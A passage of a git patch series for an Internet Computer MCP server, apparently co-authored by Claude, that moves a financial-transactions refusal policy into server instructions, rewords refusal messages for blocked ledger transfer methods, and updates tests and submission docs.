transfer/approval methods such as icrc1_transfer, icrc2_approve, icrc2_transfer_from, and the ICP ledger's legacy transfer are refused on every canister, for marketplace compliance and user safety. Do not send asset-moving requests through it under any other method name either; for such operations, recommend the user acts themselves in a wallet or frontend they control in their browser (e.g. https://oisy.com). Args are encoded against the method's declared Candid types (so plain literals like 42 coerce correctly — no `: type` annotations needed). Omit `derivation_origin` to call anonymously, or pass it to call AS your account at that app — a short-lived account delegation is derived on demand from this connection's standing Internet Identity credential. `derivation_origin` is the app's EXACT canonical II derivation origin (not necessarily its visible URL; don't infer it from alternativeOrigins). Get it once from open_app / resolve_app (which turn an app name or URL into the derivation origin under the guessed-domain gate) and reuse it here — this tool does NOT accept a raw website URL. By default this uses the app's default account; pass `account` (a name from list_app_accounts) for a specific one. The result echoes `derived_for_origin` + `requested` + `acted_as_principal` so you can catch an origin mismatch. For READ-only calls (Candid query methods or OQL queries) use canister_query instead. If get_canister_candid couldn't fetch the interface, pass the `.did` text as `candid` so args/replies are still typed.", + description = "Make an UPDATE call (a state-changing call) on an Internet Computer canister method, with textual Candid in and out. NOT INTENDED FOR FINANCIAL TRANSACTIONS: this tool is not intended for moving money, tokens, or other financial assets on the user's behalf, and it takes reasonable measures to refuse asset-moving requests — the ICRC-standard transfer/approval methods (icrc1_transfer, icrc2_approve, icrc2_transfer_from, and the ICRC-4/-7/-37 equivalents) are refused on every canister, and the ICP and cycles ledgers' own transfer/withdrawal/creation methods (e.g. the ICP ledger's legacy transfer) are refused on those ledgers, for marketplace compliance and user safety. Do not send asset-moving requests through it under any other method name either; for such operations, recommend the user acts themselves in a wallet or frontend they control in their browser (e.g. https://oisy.com). Args are encoded against the method's declared Candid types (so plain literals like 42 coerce correctly — no `: type` annotations needed). Omit `derivation_origin` to call anonymously, or pass it to call AS your account at that app — a short-lived account delegation is derived on demand from this connection's standing Internet Identity credential. `derivation_origin` is the app's EXACT canonical II derivation origin (not necessarily its visible URL; don't infer it from alternativeOrigins). Get it once from open_app / resolve_app (which turn an app name or URL into the derivation origin under the guessed-domain gate) and reuse it here — this tool does NOT accept a raw website URL. By default this uses the app's default account; pass `account` (a name from list_app_accounts) for a specific one. The result echoes `derived_for_origin` + `requested` + `acted_as_principal` so you can catch an origin mismatch. For READ-only calls (Candid query methods or OQL queries) use canister_query instead. If get_canister_candid couldn't fetch the interface, pass the `.did` text as `candid` so args/replies are still typed.", annotations(title = "Make a canister update call", read_only_hint = false, destructive_hint = true, idempotent_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -455,11 +455,13 @@ impl IcTools { Ok(p) => p, Err(e) => return Ok(err(format!("invalid canister id: {e}"))), }; - // The financial-transactions gate (see `compliance`): ledger transfer / - // approval methods are refused on every canister, before any network - // work, with a redirect to a user-controlled wallet. Queries need no - // gate — a query cannot commit state, so it cannot move funds. - if let Some(refusal) = compliance::disallowed_update_method(&method) { + // The financial-transactions gate (see `compliance`): ICRC-standard + // transfer/approval methods are refused on every canister, and the + // ICP/cycles ledgers' own value-moving methods on those ledgers, + // before any network work, with a redirect to a user-controlled + // wallet. Queries need no gate — a query cannot commit state, so it + // cannot move funds. + if let Some(refusal) = compliance::disallowed_update_method(&principal, &method) { return Ok(err(refusal)); } // The interface to encode/decode against: the canister's own From 17d33bc220077885daea0e3ec03e25480998ba3c Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 12:59:22 +0000 Subject: [PATCH 12/22] Describe the per-ledger scoping of the guard in the OpenAI doc The submission record now matches the restructured guard: ICRC-standard methods refused on every canister, and the ICP/cycles ledgers' own value-moving methods refused on those ledgers, rather than a blanket every-canister claim for the whole set. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- docs/openai-directory-submission.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/docs/openai-directory-submission.md b/docs/openai-directory-submission.md index 9c7d464..88d45aa 100644 --- a/docs/openai-directory-submission.md +++ b/docs/openai-directory-submission.md @@ -111,10 +111,11 @@ financial-transfers prohibition: - The attestation "my plugin does not initiate or execute money transfers, crypto transfers, or investment trades on behalf of users" is addressed by two shipped **mitigations** — not yet grounds to check the box: - `canister_update_call` refuses the standardized ledger transfer/approval - methods (ICRC-1/ICRC-2 and related standards, the ICP ledger's legacy - `transfer`, the cycles ledger's `withdraw` and `create_canister` spends) on - every canister and says so in its description + `canister_update_call` refuses the ICRC-standard transfer/approval methods + (ICRC-1/ICRC-2 and the ICRC-4/-7/-37 equivalents) on every canister, plus + the ICP and cycles ledgers' own value-moving methods (the legacy + `transfer`, `withdraw`, the `create_canister` spends) on those ledgers, + and says so in its description ([#154](https://github.com/dfinity/imcp2/pull/154)), and `icp_top_up_canister` is instructions-only and executes nothing ([#153](https://github.com/dfinity/imcp2/pull/153)); README, landing page, From c068c23d5ffc8cc6add065d67701e3c9bd11446e Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 13:10:52 +0000 Subject: [PATCH 13/22] Point the creation refusal at the user-run icp CLI, not a connector tool Per review: recommending icp_create_canister inside the refusal reads as this server supporting canister creation on the user's behalf, which is not what the refusal should communicate. The cycles-ledger create_canister / create_canister_from refusal now points the user at running the operation themselves with the icp CLI (with the install pointer), like every other refusal points at a user-controlled venue. README row updated to match; the test now pins that the refusal names the CLI and never the connector tool. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- README.md | 2 +- crates/imcp2-core/src/compliance.rs | 44 ++++++++++++++++++----------- 2 files changed, 29 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index 5025ab9..ac4f7cf 100644 --- a/README.md +++ b/README.md @@ -141,7 +141,7 @@ results). | `get_canister_candid` | `canister_id` | The canister's `candid:service` interface (`.did` text), plus two capability flags: `oql` (`true` when it exposes an OQL query surface — a `schema` + `execute` pair — with a pointer to `icp_oql_guide`) and `api_doc_available` (`true` when it declares a `getApiDoc`/`get_api_doc` method, gating `get_canister_api_doc`) | | `get_canister_api_doc` | `canister_id` | The canister's own prose API guide ("how this app behaves" — units, auth, lifecycle, mutation safety, polling, gotchas), from its `getApiDoc`/`get_api_doc` method. Call **only** when `get_canister_candid`/`open_app` report `api_doc_available`. Returns a **structured** result in every case — `available` + the doc on success, else `available:false` with `expected`/`retry`/`next` so an expected absence is distinct from an unreachable canister | | `canister_query` | `canister_id`, `method?` **or** `oql?`, `args?` (textual Candid), `derivation_origin?`, `account?`, `candid?` | READ a canister — provide EITHER a Candid `query` `method` (with `args`) OR an `oql` query (a JSON object string, run against `execute`). A Candid `method` query may be anonymous or as your account and returns textual Candid; an `oql` query **requires** `derivation_origin` and returns `columns` + `rows` (a table) with `has_more`, validating `start` against the schema on an empty result. On an OQL canister a Candid `method` query is rejected — use `oql`. `candid` is a fallback: the `.did` interface text to encode/decode against when the canister exposes no `candid:service` metadata. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | -| `canister_update_call` | `canister_id`, `method`, `args` (textual Candid), `derivation_origin?`, `account?`, `candid?` | Make an UPDATE (state-changing) call; reply as textual Candid; anonymous, or as your account at an app (identified by its canonical II `derivation_origin`, obtained once from `open_app`/`resolve_app`). **Financial transactions are refused**: the ICRC-standard transfer/approval methods (ICRC-1/ICRC-2 and the ICRC-4/-7/-37 equivalents) are disallowed on every canister, and the ICP and cycles ledgers' own value-moving methods (the legacy `transfer`, `withdraw`, the `create_canister` spends) on those ledgers, for marketplace compliance and user safety — the refusal directs the user to act themselves in a wallet they control (e.g. [oisy.com](https://oisy.com)), or to the dedicated `icp_create_canister` tool for canister creation. `candid` is the same `.did` fallback as on `canister_query`, used when the interface isn't published on-chain. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | +| `canister_update_call` | `canister_id`, `method`, `args` (textual Candid), `derivation_origin?`, `account?`, `candid?` | Make an UPDATE (state-changing) call; reply as textual Candid; anonymous, or as your account at an app (identified by its canonical II `derivation_origin`, obtained once from `open_app`/`resolve_app`). **Financial transactions are refused**: the ICRC-standard transfer/approval methods (ICRC-1/ICRC-2 and the ICRC-4/-7/-37 equivalents) are disallowed on every canister, and the ICP and cycles ledgers' own value-moving methods (the legacy `transfer`, `withdraw`, the `create_canister` spends) on those ledgers, for marketplace compliance and user safety — the refusal directs the user to act themselves — in a wallet they control (e.g. [oisy.com](https://oisy.com)), or, for canister creation, with the [icp CLI](https://github.com/dfinity/icp-cli) in their own terminal. `candid` is the same `.did` fallback as on `canister_query`, used when the interface isn't published on-chain. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | | `get_app_principal` | `derivation_origin`, `account?` | The principal you act as at an app, without a call. Identify the app by its `derivation_origin` (from `open_app`/`resolve_app`). Echoes `derived_for_origin` / `requested` so an origin mismatch is visible | | `list_app_accounts` | `derivation_origin` | The user's Internet Identity accounts at an app — the default account plus any named ones — with name, number, last-used, and the derivation origin they were listed for. Identify the app by its `derivation_origin` (from `open_app`/`resolve_app`) | | `resolve_app` | `app_url` | Resolve an app URL to its Internet Identity derivation context: `application_origin`, the `derivation_origin` to use (declared in `/.well-known/ic-app.json`, else a built-in known-app value, else assumed = app origin — flagged via `derivation_origin_source`: `declared`/`known`/`app_url_default`, with `application_is_ic` echoing the gateway evidence), and the app's `alternative_origins` (informational). An origin with **no IC evidence** that would need the `app_url_default` assumption is **refused** (guessed-domain guard, with a "did you mean" repair when the host resembles a well-known app). Does not return a principal (no account chosen) or require auth — pass the `derivation_origin` to `get_app_principal`/`list_app_accounts` | diff --git a/crates/imcp2-core/src/compliance.rs b/crates/imcp2-core/src/compliance.rs index 921039d..f00b1b7 100644 --- a/crates/imcp2-core/src/compliance.rs +++ b/crates/imcp2-core/src/compliance.rs @@ -6,8 +6,9 @@ //! connector from initiating or executing money or crypto transfers, or //! trades, on the user's behalf. `canister_update_call` therefore refuses the //! ledger methods that move value or grant spending rights, and the refusal -//! redirects the user to perform the operation themselves in a wallet or -//! frontend they control (e.g. ) in their own browser. +//! redirects the user to perform the operation themselves — in a wallet or +//! frontend they control (e.g. ) in their own browser, or, +//! for canister creation, with the icp CLI in their own terminal. //! //! The guard has two groups (split per review, so an app that happens to name //! a non-financial method `transfer` or `approve` keeps working): @@ -88,9 +89,11 @@ const DISALLOWED_CANISTER_METHODS: &[(&str, &str, &str)] = &[ (ICP_LEDGER, "send_dfx", "a legacy ICP-ledger transfer"), (ICP_LEDGER, "notify_dfx", "a legacy ICP-ledger transfer notification"), // The cycles ledger's value movement beyond ICRC-1/-2 (which group one - // already covers): withdrawals and the canister-creation spends. Creation - // stays available through the dedicated icp_create_canister tool; this - // closes the uncontrolled generic route. + // already covers): withdrawals and the canister-creation spends. The + // creation refusal points the user at running the operation themselves + // with the icp CLI — not at another connector tool (per review: the + // refusal must not read as this server creating canisters on the + // user's behalf). (CYCLES_LEDGER, "withdraw", "a cycles-ledger withdrawal"), (CYCLES_LEDGER, "withdraw_from", "a cycles-ledger delegated withdrawal"), (CYCLES_LEDGER, "create_canister", "a cycles-ledger spend (canister creation)"), @@ -116,13 +119,16 @@ pub fn disallowed_update_method(canister_id: &Principal, method: &str) -> Option .find(|(c, m, _)| *c == canister && *m == method) .map(|(_, _, what)| *what) })?; - // Canister creation has a supported, purpose-built route, so its refusal - // redirects there; everything else redirects to a user-controlled wallet - // or frontend in the user's own browser. + // Every refusal points the user at doing the operation themselves: + // canister creation at the user-run icp CLI (deliberately NOT at another + // connector tool, per review), everything else at a user-controlled + // wallet or frontend in the user's own browser. let instead = if method.starts_with("create_canister") { - "For creating and funding the user's own canisters, use the dedicated \ - icp_create_canister tool (or the icp CLI) instead of calling the cycles \ - ledger through this generic tool." + "Recommend that the user creates and funds canisters themselves with \ + the icp CLI in their own terminal (install with `npm install -g \ + @icp-sdk/icp-cli`, or see https://github.com/dfinity/icp-cli); the \ + icp-cli and cycles-management skills (icp_get_skill) carry the \ + current steps." } else { "Recommend that the user performs this operation themselves, in a wallet \ or app frontend they control, in their own web browser — e.g. their \ @@ -215,15 +221,21 @@ mod tests { } // The cycles ledger's canister-creation spends are refused on the generic - // route, and their refusal redirects to the purpose-built tool rather - // than to a wallet. + // route, and their refusal points the user at running creation themselves + // with the icp CLI — never at another connector tool (per review, the + // refusal must not read as this server creating canisters on the user's + // behalf) and not at a wallet (the wrong venue for creation). #[test] - fn refuses_cycles_ledger_creation_spends_with_tool_redirect() { + fn refuses_cycles_ledger_creation_spends_with_cli_redirect() { for method in ["create_canister", "create_canister_from"] { let msg = disallowed_update_method(&cycles_ledger(), method) .unwrap_or_else(|| panic!("{method} must be refused")); - assert!(msg.contains("icp_create_canister"), "{msg}"); - assert!(!msg.contains("oisy.com"), "creation redirects to the tool, not a wallet: {msg}"); + assert!(msg.contains("icp CLI"), "{msg}"); + assert!( + !msg.contains("icp_create_canister"), + "creation must not redirect to a connector tool: {msg}" + ); + assert!(!msg.contains("oisy.com"), "a wallet is the wrong venue for creation: {msg}"); } } From fe696eb0a0f824e9ea081ec1f9ea1807ef193a3a Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 13:26:33 +0000 Subject: [PATCH 14/22] Make the financial policy a server instruction in plain protective terms Per review, three changes to how the policy is stated: - The policy paragraph moves out of canister_update_call's description into the server-level get_info instructions (now a SERVER_INSTRUCTIONS const so the test can pin it): a policy block inside the tool's own description reads as a hint that the tool is usable for financial transactions. The description is purely functional again. - The wording drops the marketplace/compliance rationale and the 'reasonable measures' hedge: it now simply states that financial transactions are not supported and asset-moving requests are denied, to protect the user. - The refusal message loses the 'do not route under another method name' sentence, which read as a hint that the guards could be bypassed. README row aligned; tests updated to pin the description staying free of financial language and the instructions carrying the policy. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- README.md | 2 +- crates/imcp2-core/src/compliance.rs | 30 +++++++------- crates/imcp2-core/src/tools.rs | 61 +++++++++++++++++++---------- 3 files changed, 57 insertions(+), 36 deletions(-) diff --git a/README.md b/README.md index ac4f7cf..39af4d7 100644 --- a/README.md +++ b/README.md @@ -141,7 +141,7 @@ results). | `get_canister_candid` | `canister_id` | The canister's `candid:service` interface (`.did` text), plus two capability flags: `oql` (`true` when it exposes an OQL query surface — a `schema` + `execute` pair — with a pointer to `icp_oql_guide`) and `api_doc_available` (`true` when it declares a `getApiDoc`/`get_api_doc` method, gating `get_canister_api_doc`) | | `get_canister_api_doc` | `canister_id` | The canister's own prose API guide ("how this app behaves" — units, auth, lifecycle, mutation safety, polling, gotchas), from its `getApiDoc`/`get_api_doc` method. Call **only** when `get_canister_candid`/`open_app` report `api_doc_available`. Returns a **structured** result in every case — `available` + the doc on success, else `available:false` with `expected`/`retry`/`next` so an expected absence is distinct from an unreachable canister | | `canister_query` | `canister_id`, `method?` **or** `oql?`, `args?` (textual Candid), `derivation_origin?`, `account?`, `candid?` | READ a canister — provide EITHER a Candid `query` `method` (with `args`) OR an `oql` query (a JSON object string, run against `execute`). A Candid `method` query may be anonymous or as your account and returns textual Candid; an `oql` query **requires** `derivation_origin` and returns `columns` + `rows` (a table) with `has_more`, validating `start` against the schema on an empty result. On an OQL canister a Candid `method` query is rejected — use `oql`. `candid` is a fallback: the `.did` interface text to encode/decode against when the canister exposes no `candid:service` metadata. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | -| `canister_update_call` | `canister_id`, `method`, `args` (textual Candid), `derivation_origin?`, `account?`, `candid?` | Make an UPDATE (state-changing) call; reply as textual Candid; anonymous, or as your account at an app (identified by its canonical II `derivation_origin`, obtained once from `open_app`/`resolve_app`). **Financial transactions are refused**: the ICRC-standard transfer/approval methods (ICRC-1/ICRC-2 and the ICRC-4/-7/-37 equivalents) are disallowed on every canister, and the ICP and cycles ledgers' own value-moving methods (the legacy `transfer`, `withdraw`, the `create_canister` spends) on those ledgers, for marketplace compliance and user safety — the refusal directs the user to act themselves — in a wallet they control (e.g. [oisy.com](https://oisy.com)), or, for canister creation, with the [icp CLI](https://github.com/dfinity/icp-cli) in their own terminal. `candid` is the same `.did` fallback as on `canister_query`, used when the interface isn't published on-chain. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | +| `canister_update_call` | `canister_id`, `method`, `args` (textual Candid), `derivation_origin?`, `account?`, `candid?` | Make an UPDATE (state-changing) call; reply as textual Candid; anonymous, or as your account at an app (identified by its canonical II `derivation_origin`, obtained once from `open_app`/`resolve_app`). **Financial transactions are refused**: the ICRC-standard transfer/approval methods (ICRC-1/ICRC-2 and the ICRC-4/-7/-37 equivalents) are disallowed on every canister, and the ICP and cycles ledgers' own value-moving methods (the legacy `transfer`, `withdraw`, the `create_canister` spends) on those ledgers, to protect the user — the refusal directs the user to act themselves — in a wallet they control (e.g. [oisy.com](https://oisy.com)), or, for canister creation, with the [icp CLI](https://github.com/dfinity/icp-cli) in their own terminal. `candid` is the same `.did` fallback as on `canister_query`, used when the interface isn't published on-chain. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | | `get_app_principal` | `derivation_origin`, `account?` | The principal you act as at an app, without a call. Identify the app by its `derivation_origin` (from `open_app`/`resolve_app`). Echoes `derived_for_origin` / `requested` so an origin mismatch is visible | | `list_app_accounts` | `derivation_origin` | The user's Internet Identity accounts at an app — the default account plus any named ones — with name, number, last-used, and the derivation origin they were listed for. Identify the app by its `derivation_origin` (from `open_app`/`resolve_app`) | | `resolve_app` | `app_url` | Resolve an app URL to its Internet Identity derivation context: `application_origin`, the `derivation_origin` to use (declared in `/.well-known/ic-app.json`, else a built-in known-app value, else assumed = app origin — flagged via `derivation_origin_source`: `declared`/`known`/`app_url_default`, with `application_is_ic` echoing the gateway evidence), and the app's `alternative_origins` (informational). An origin with **no IC evidence** that would need the `app_url_default` assumption is **refused** (guessed-domain guard, with a "did you mean" repair when the host resembles a well-known app). Does not return a principal (no account chosen) or require auth — pass the `derivation_origin` to `get_app_principal`/`list_app_accounts` | diff --git a/crates/imcp2-core/src/compliance.rs b/crates/imcp2-core/src/compliance.rs index f00b1b7..e77925b 100644 --- a/crates/imcp2-core/src/compliance.rs +++ b/crates/imcp2-core/src/compliance.rs @@ -38,10 +38,10 @@ //! * It is a guardrail enforcing a stated policy, not a hermetic seal — a //! bespoke canister can expose value-moving methods under any name (a //! custom swap method, an intermediary that forwards a transfer), which -//! no name-based list can enumerate. The policy itself ("this tool is -//! not intended for financial transactions") is stated in the tool -//! description; this guard enforces it for the standardized ledger -//! surface, where real funds overwhelmingly live (see above). +//! no name-based list can enumerate. The policy itself ("financial +//! transactions are not supported") is stated in the server-level +//! instructions (get_info); this guard enforces it for the standardized +//! ledger surface, where real funds overwhelmingly live (see above). //! * Legacy pre-ICRC token standards (DIP20/EXT `transfer`/`transferFrom`/ //! `approve` on arbitrary canisters) are deliberately NOT matched: the //! names are too abstract to block everywhere without breaking @@ -136,12 +136,10 @@ pub fn disallowed_update_method(canister_id: &Principal, method: &str) -> Option https://nns.ic0.app." }; Some(format!( - "`{method}` is {what} — a financial transaction — and this tool is not \ - intended for financial transactions (token transfers, spending approvals, \ - payments, or trades) on the user's behalf; such methods are refused as a \ - reasonable measure for marketplace compliance and user safety. {instead} \ - Do not route the same operation through this tool under another method \ - name." + "`{method}` is {what} — a financial transaction. Financial transactions \ + (token transfers, spending approvals, payments, or trades) are not \ + supported by this server, to protect the user: asset-moving requests \ + are denied. {instead}" )) } @@ -270,16 +268,20 @@ mod tests { } // The refusal is the whole story: it names the method, states the policy - // (financial transactions, compliance + user safety), and redirects to a - // user-controlled wallet in the browser (oisy.com), per the listing - // requirements. Pin those pieces so the message can't degrade silently. + // in plain terms an agent can relay (not supported, to protect the user — + // no marketplace/compliance jargon, and no hint that another route might + // work; per review), and redirects to a user-controlled wallet in the + // browser (oisy.com). Pin those pieces so the message can't degrade. #[test] fn refusal_names_method_policy_and_wallet() { let msg = disallowed_update_method(&any_canister(), "icrc1_transfer") .expect("must be refused"); assert!(msg.contains("`icrc1_transfer`"), "{msg}"); assert!(msg.contains("financial transaction"), "{msg}"); - assert!(msg.contains("marketplace compliance and user safety"), "{msg}"); + assert!(msg.contains("not supported"), "{msg}"); + assert!(msg.contains("to protect the user"), "{msg}"); assert!(msg.contains("https://oisy.com"), "{msg}"); + assert!(!msg.contains("marketplace"), "{msg}"); + assert!(!msg.contains("compliance"), "{msg}"); } } diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index 39727b1..5f5bdec 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -435,7 +435,7 @@ impl IcTools { } #[tool( - description = "Make an UPDATE call (a state-changing call) on an Internet Computer canister method, with textual Candid in and out. NOT INTENDED FOR FINANCIAL TRANSACTIONS: this tool is not intended for moving money, tokens, or other financial assets on the user's behalf, and it takes reasonable measures to refuse asset-moving requests — the ICRC-standard transfer/approval methods (icrc1_transfer, icrc2_approve, icrc2_transfer_from, and the ICRC-4/-7/-37 equivalents) are refused on every canister, and the ICP and cycles ledgers' own transfer/withdrawal/creation methods (e.g. the ICP ledger's legacy transfer) are refused on those ledgers, for marketplace compliance and user safety. Do not send asset-moving requests through it under any other method name either; for such operations, recommend the user acts themselves in a wallet or frontend they control in their browser (e.g. https://oisy.com). Args are encoded against the method's declared Candid types (so plain literals like 42 coerce correctly — no `: type` annotations needed). Omit `derivation_origin` to call anonymously, or pass it to call AS your account at that app — a short-lived account delegation is derived on demand from this connection's standing Internet Identity credential. `derivation_origin` is the app's EXACT canonical II derivation origin (not necessarily its visible URL; don't infer it from alternativeOrigins). Get it once from open_app / resolve_app (which turn an app name or URL into the derivation origin under the guessed-domain gate) and reuse it here — this tool does NOT accept a raw website URL. By default this uses the app's default account; pass `account` (a name from list_app_accounts) for a specific one. The result echoes `derived_for_origin` + `requested` + `acted_as_principal` so you can catch an origin mismatch. For READ-only calls (Candid query methods or OQL queries) use canister_query instead. If get_canister_candid couldn't fetch the interface, pass the `.did` text as `candid` so args/replies are still typed.", + description = "Make an UPDATE call (a state-changing call) on an Internet Computer canister method, with textual Candid in and out. Args are encoded against the method's declared Candid types (so plain literals like 42 coerce correctly — no `: type` annotations needed). Omit `derivation_origin` to call anonymously, or pass it to call AS your account at that app — a short-lived account delegation is derived on demand from this connection's standing Internet Identity credential. `derivation_origin` is the app's EXACT canonical II derivation origin (not necessarily its visible URL; don't infer it from alternativeOrigins). Get it once from open_app / resolve_app (which turn an app name or URL into the derivation origin under the guessed-domain gate) and reuse it here — this tool does NOT accept a raw website URL. By default this uses the app's default account; pass `account` (a name from list_app_accounts) for a specific one. The result echoes `derived_for_origin` + `requested` + `acted_as_principal` so you can catch an origin mismatch. For READ-only calls (Candid query methods or OQL queries) use canister_query instead. If get_canister_candid couldn't fetch the interface, pass the `.did` text as `candid` so args/replies are still typed.", annotations(title = "Make a canister update call", read_only_hint = false, destructive_hint = true, idempotent_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -1910,15 +1910,12 @@ fn identity_annotation(target: &IdentityTarget, acted_as: Option<&str>) -> Strin s } -#[tool_handler] -impl ServerHandler for IcTools { - fn get_info(&self) -> ServerInfo { - ServerInfo::new( - ServerCapabilities::builder().enable_tools().enable_resources().build(), - ) - .with_server_info(Implementation::from_build_env()) - .with_instructions( - "Internet Computer tools. Every tool speaks TEXTUAL Candid — the `(...)` value \ +/// The server-level instructions every client receives from `get_info`. The +/// financial-transactions policy lives HERE, server-wide — deliberately not in +/// any single tool's description (per review: a policy paragraph inside +/// canister_update_call's description reads as a hint that the tool is usable +/// for financial transactions, the one thing it must not suggest). +const SERVER_INSTRUCTIONS: &str = "Internet Computer tools. Every tool speaks TEXTUAL Candid — the `(...)` value \ syntax, e.g. `(record { owner = principal \"aaaaa-aa\"; amount = 5 : nat })`, never \ the binary form. Tool names signal SCOPE: an `icp_` prefix marks IC protocol / \ meta-level tools (dashboard name/id lookups, the official IC skills, the OQL dialect \ @@ -1930,6 +1927,16 @@ impl ServerHandler for IcTools { specific canister. Before writing Candid args, consult the `candid://textual-syntax` \ resource (the value syntax these tools use); `candid://reference` has the full type \ reference.\n\n\ + FINANCIAL TRANSACTIONS ARE NOT SUPPORTED — asset-moving requests are denied, to \ + protect the user: canister_update_call refuses the ICRC-standard transfer/approval \ + methods (icrc1_transfer, icrc2_approve, icrc2_transfer_from, and the ICRC-4/-7/-37 \ + equivalents) on every canister, and the ICP and cycles ledgers' own \ + transfer/withdrawal/creation methods on those ledgers. For financial operations \ + (token transfers, spending approvals, payments, trades), recommend the user acts \ + themselves in a wallet or frontend they control, in their own browser — e.g. their \ + wallet at https://oisy.com, or for governance the NNS dapp at https://nns.ic0.app; a \ + refused cycles-ledger canister-creation spend points at the user-run icp CLI \ + instead.\n\n\ START WITH open_app WHEN THE USER NAMES OR LINKS AN APP. `open_app(name-or-URL)` is the \ one-call entry point: it takes an app NAME (e.g. \"MULTI/DEX\", \"Oisy\", \"NNS\") or a \ URL, resolves the Internet Identity derivation origin AND discovers the canisters \ @@ -2047,9 +2054,16 @@ impl ServerHandler for IcTools { `icp_top_up_canister` is instructions-only: it never moves funds — it returns the CLI \ steps for the user to run a top-up themselves. So to \ \"build X and deploy a canister with Y ICP worth of cycles\": read the relevant skills, \ - write & build the Wasm locally, `icp_create_canister(icp=Y)`, then `icp_install_code`." - .to_string(), + write & build the Wasm locally, `icp_create_canister(icp=Y)`, then `icp_install_code`."; + +#[tool_handler] +impl ServerHandler for IcTools { + fn get_info(&self) -> ServerInfo { + ServerInfo::new( + ServerCapabilities::builder().enable_tools().enable_resources().build(), ) + .with_server_info(Implementation::from_build_env()) + .with_instructions(SERVER_INSTRUCTIONS.to_string()) } async fn list_resources( @@ -2431,22 +2445,27 @@ mod tests { assert_eq!(cc.destructive_hint, Some(true)); } - // canister_update_call is a compliance-sensitive surface: its description - // must state that financial transactions are not supported (the ledger - // transfer/approval methods the `compliance` module refuses) and point at - // the user-controlled wallet, so directory reviewers and calling models - // both see the policy. Guards against the wording quietly reverting. + // The financial-transactions policy is a SERVER-WIDE instruction, not a + // tool-description paragraph: stating it inside canister_update_call's + // description would read as a hint that the tool is usable for financial + // transactions (per review). Pin both sides — the description carries no + // financial language, and the server instructions state the denial, the + // refused method families, and the user-controlled venue. #[test] - fn update_call_tool_declares_financial_restriction() { + fn financial_policy_is_a_server_instruction_not_a_description() { let tools = super::IcTools::tool_router().list_all(); let tool = tools .iter() .find(|t| &*t.name == "canister_update_call") .expect("canister_update_call tool not found"); let desc = tool.description.as_deref().unwrap_or_default(); - assert!(desc.contains("NOT INTENDED FOR FINANCIAL TRANSACTIONS"), "{desc}"); - assert!(desc.contains("icrc1_transfer"), "{desc}"); - assert!(desc.contains("https://oisy.com"), "{desc}"); + assert!(!desc.to_lowercase().contains("financial"), "{desc}"); + assert!(!desc.contains("oisy.com"), "{desc}"); + let ins = super::SERVER_INSTRUCTIONS; + assert!(ins.contains("FINANCIAL TRANSACTIONS ARE NOT SUPPORTED")); + assert!(ins.contains("asset-moving requests are denied")); + assert!(ins.contains("icrc1_transfer")); + assert!(ins.contains("https://oisy.com")); } // The local binary's login tools (`authenticate`/`auth_status`) live on its From 05b3bda98890218e8d4d6d537cfe78dcacddb509 Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 13:33:39 +0000 Subject: [PATCH 15/22] Align the directory-submission docs with the server-instruction policy The policy now lives in the server-level instructions rather than the canister_update_call description (which stays free of financial language), the refusal points a canister-creation spend at the user-run icp CLI, and the public surfaces say financial transactions are not supported. Update the mitigation descriptions in both submission docs to match, and describe the per-ledger scoping in the Anthropic doc's bullet. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- docs/anthropic-directory-submission.md | 15 +++++++++------ docs/openai-directory-submission.md | 9 +++++---- 2 files changed, 14 insertions(+), 10 deletions(-) diff --git a/docs/anthropic-directory-submission.md b/docs/anthropic-directory-submission.md index 410b475..62cb655 100644 --- a/docs/anthropic-directory-submission.md +++ b/docs/anthropic-directory-submission.md @@ -151,14 +151,17 @@ both are merged):** CMC `notify_top_up`) is removed from the binary ([#153](https://github.com/dfinity/imcp2/pull/153)). - `canister_update_call` **refuses the standardized ledger methods** that - move value or grant spending rights — ICRC-1/ICRC-2 (plus ICRC-4/-7/-37), - the ICP ledger's legacy `transfer`/`send_dfx`, the cycles ledger's - `withdraw` — on every canister; the refusal recommends the user act - themselves in a wallet they control (oisy.com), and the tool description - states the policy up front + move value or grant spending rights — the ICRC-standard names + (ICRC-1/ICRC-2 plus ICRC-4/-7/-37) on every canister, and the ICP and + cycles ledgers' own `transfer`/`send_dfx`/`withdraw`/`create_canister` + methods on those ledgers; the refusal recommends the user act themselves + in a wallet they control (oisy.com; a refused canister-creation spend + points at the user-run icp CLI), and the policy is stated in the + server-level instructions — deliberately not in the tool description, + which stays free of financial language per maintainer review ([#154](https://github.com/dfinity/imcp2/pull/154)). - The README, the landing page, and the server instructions all state - explicitly that the server is not intended for financial operations. + explicitly that financial transactions are not supported. **What honestly remains exposed to the prohibition** — keep both points in whatever is declared: diff --git a/docs/openai-directory-submission.md b/docs/openai-directory-submission.md index 88d45aa..cc6632c 100644 --- a/docs/openai-directory-submission.md +++ b/docs/openai-directory-submission.md @@ -115,12 +115,13 @@ financial-transfers prohibition: (ICRC-1/ICRC-2 and the ICRC-4/-7/-37 equivalents) on every canister, plus the ICP and cycles ledgers' own value-moving methods (the legacy `transfer`, `withdraw`, the `create_canister` spends) on those ledgers, - and says so in its description - ([#154](https://github.com/dfinity/imcp2/pull/154)), and + with the policy stated in the server-level instructions rather than the + tool description 